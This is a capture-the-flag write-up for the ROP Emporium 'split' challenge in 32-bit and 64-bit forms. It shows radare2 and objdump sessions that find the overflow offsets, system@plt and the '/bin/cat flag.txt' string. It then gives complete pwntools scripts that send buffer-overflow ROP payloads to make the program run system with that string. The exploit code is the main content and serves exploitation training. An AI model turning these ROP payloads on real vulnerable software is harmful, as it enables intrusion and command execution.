Split 32 Bit
In this challenge, the ret2win function is being split into system
call and /bin/cat flag.txt
string. The objective is to use ROP gadget to execute system call with “/bin/cat flag.txt” string as the argument.
Lets find the EIP offset using Radare2.
root@Perseverance:~/rop_emporium/split32# r2 -de dbg.profile=profile.rr2 split32
Process with PID 4841 started...
= attach 4841 4841
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
[0xf7f4b0b0]> dc
split by ROP Emporium
32bits
Contriving a reason to ask user for data...
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41415041 code=1 ret=0
[0x41415041]> wopO `dr eip`
44
EIP offset is 44. Find the system@plt address using objdump
command.
root@Perseverance:~/rop_emporium/split32# objdump -d split32 | grep system
08048430 <system@plt>:
8048657: e8 d4 fd ff ff call 8048430 <system@plt>
System@plt address is 0x8048430. Find the string /bin/cat flag.txt
address using Radare2.
root@Perseverance:~/rop_emporium/split32# r2 split32
[0x08048480]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables
[0x08048480]> iz
[Strings]
Num Paddr Vaddr Len Size Section Type String
000 0x000006f0 0x080486f0 21 22 (.rodata) ascii split by ROP Emporium
001 0x00000706 0x08048706 7 8 (.rodata) ascii 32bits\n
002 0x0000070e 0x0804870e 8 9 (.rodata) ascii \nExiting
003 0x00000718 0x08048718 43 44 (.rodata) ascii Contriving a reason to ask user for data...
004 0x00000747 0x08048747 7 8 (.rodata) ascii /bin/ls
000 0x00001030 0x0804a030 17 18 (.data) ascii /bin/cat flag.txt
The /bin/cat flag.txt
address is 0x0804a030. This make the payload become "A" * 44 + <system_plt> + "BBBB" + <cat_flag>
. The “BBBB” can be replaced with exit address, but for this challenge we don’t need to bother with that. Below is a simple python script using pwntools to automate the process.
#!/usr/bin/python
from pwn import *
def main():
junk = "A" * 44 # EIP Offset at 44
cat_flag = p32(0x0804a030) # Radare2 command: izz
system_plt = p32(0x8048430) # objdump -d split32 | grep system
p = process("./split32")
payload = junk + system_plt + "BBBB" + cat_flag
p.sendlineafter(">", payload)
print p.recvall()
if __name__ == "__main__":
main()
Run the script and grab the flag.
root@Perseverance:~/rop_emporium/split32# ./split32.py
[+] Starting local process './split32': pid 14170
[+] Receiving all data: Done (34B)
[*] Process './split32' stopped with exit code -11 (SIGSEGV) (pid 14170)
ROPE{a_placeholder_32byte_flag!}
Split 64 Bit
Let’s find the RIP offset using Radare2.
root@Perseverance:~/rop_emporium/split# r2 -de dbg.profile=profile.rr2 split
Process with PID 4993 started...
= attach 4993 4993
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[0x7fe9949ee090]> dc
split by ROP Emporium
64bits
Contriving a reason to ask user for data...
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 ret=0
[0x00400806]> pxq 8@rsp
0x7ffded0ca798 0x41415041414f4141 AAOAAPAA
[0x00400806]> wopO 0x41415041414f4141
40
RIP offset is 40. Find the system@plt address using objdump
command.
root@Perseverance:~/rop_emporium/split# objdump -d split | grep system@plt
00000000004005e0 <system@plt>:
400810: e8 cb fd ff ff callq 4005e0 <system@plt>
System@plt address is 0x4005e0. Find the string /bin/cat flag.txt
address using Radare2:
root@Perseverance:~/rop_emporium/split# r2 split
[0x00400650]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[Invalid instruction of 860 bytes at 0x4000ec
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables
[0x00400650]> iz
[Strings]
Num Paddr Vaddr Len Size Section Type String
000 0x000008a8 0x004008a8 21 22 (.rodata) ascii split by ROP Emporium
001 0x000008be 0x004008be 7 8 (.rodata) ascii 64bits\n
002 0x000008c6 0x004008c6 8 9 (.rodata) ascii \nExiting
003 0x000008d0 0x004008d0 43 44 (.rodata) ascii Contriving a reason to ask user for data...
004 0x000008ff 0x004008ff 7 8 (.rodata) ascii /bin/ls
000 0x00001060 0x00601060 17 18 (.data) ascii /bin/cat flag.txt
The /bin/cat flag.txt
address is 0x00601060.
For 64 bit, the argument needs to be passed into CPU register instead of the stack. The first six-pointer arguments are passed into RDI, RSI, RDX, RCX, R8, and R9 registers. Since this challenge only needs 1 argument, we just need to pass the /bin/cat flag.txt
string into RDI register. This can be achieved using ROPGadget
tools that available at https://github.com/JonathanSalwan/ROPgadget
root@Perseverance:~/rop_emporium/split# python ROPgadget.py --binary split | grep rdi
0x0000000000400883 : pop rdi ; ret
Now let’s craft the payload. The payload will become "A" * 40 + <pop_rdi> + <cat_flag> + <system_plt>
. Below is a simple python script using pwntools to automate the process.
#!/usr/bin/python
from pwn import *
def main():
junk = "A" * 40 # RIP Offset at 40
cat_flag = p64(0x00601060) # Radare2 command: izz
system_plt = p64(0x4005e0) # objdump -d split | grep system
pop_rdi = p64(0x0000000000400883) # python ROPgadget.py --binary split | grep rdi
p = process("./split")
payload = junk + pop_rdi + cat_flag + system_plt
p.sendlineafter(">", payload)
print p.recvall()
if __name__ == "__main__":
main()
Run the script and grab the flag.
root@Perseverance:~/rop_emporium/split# ./split.py
[+] Starting local process './split': pid 14580
[+] Receiving all data: Done (34B)
[*] Process './split' stopped with exit code -11 (SIGSEGV) (pid 14580)
ROPE{a_placeholder_32byte_flag!}